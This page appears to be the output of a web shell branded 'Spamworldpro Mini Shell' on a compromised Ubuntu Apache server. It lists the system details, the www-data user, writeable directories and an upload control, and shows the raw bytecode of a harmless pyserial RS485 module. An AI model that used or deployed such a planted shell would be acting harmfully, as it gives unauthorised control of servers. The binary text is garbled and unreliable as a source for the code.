Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/serial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/serial/__pycache__/rs485.cpython-310.pyc
o

��^��@sFdZddlmZddlZddlZGdd�de�ZGdd�dej�ZdS)z�The settings for RS485 are stored in a dedicated object that can be applied to
serial ports (where supported).
NOTE: Some implementations may only support a subset of the settings.
�)�absolute_importNc@s eZdZ					ddd�ZdS)�
RS485SettingsTFNcCs"||_||_||_||_||_dS�N)�rts_level_for_tx�rts_level_for_rx�loopback�delay_before_tx�delay_before_rx)�selfrrrrr	�r�./usr/lib/python3/dist-packages/serial/rs485.py�__init__s

zRS485Settings.__init__)TFFNN)�__name__�
__module__�__qualname__r
rrrrrs�rcsFeZdZdZ�fdd�Z�fdd�Zedd��Zejdd��Z�Z	S)	�RS485a5    A subclass that replaces the write method with one that toggles RTS
    according to the RS485 settings.

    NOTE: This may work unreliably on some serial ports (control signals not
          synchronized or delayed compared to data). Using delays may be
          unreliable (varying times, larger than expected) as the OS may not
          support very fine grained delays (no smaller than in the order of
          tens of milliseconds).

    NOTE: Some implementations support this natively. Better performance
          can be expected when the native version is used.

    NOTE: The loopback property is ignored by this implementation. The actual
          behavior depends on the used hardware.

    Usage:

        ser = RS485(...)
        ser.rs485_mode = RS485Settings(...)
        ser.write(b'hello')
    cs tt|�j|i|��d|_dSr)�superrr
�_alternate_rs485_settings)r
�args�kwargs��	__class__rrr
=s
zRS485.__init__cs�|jdur>|�|jj�|jjdurt�|jj�tt|��|�tt|��	�|jj
dur5t�|jj
�|�|jj�dStt|��|�dS)z=Write to port, controlling RTS before and after transmitting.N)r�setRTSrr�time�sleeprr�write�flushr	r)r
�brrrrAs
zRS485.writecCs|jS)z�        Enable RS485 mode and apply new settings, set to None to disable.
        See serial.rs485.RS485Settings for more info about the value.
        �r)r
rrr�
rs485_modeTszRS485.rs485_modecCs
||_dSrr)r
�rs485_settingsrrrr\s
)
rrr�__doc__r
r�propertyr�setter�
__classcell__rrrrr%s
r)	r!�
__future__rr�serial�objectr�Serialrrrrr�<module>s	

Spamworldpro Mini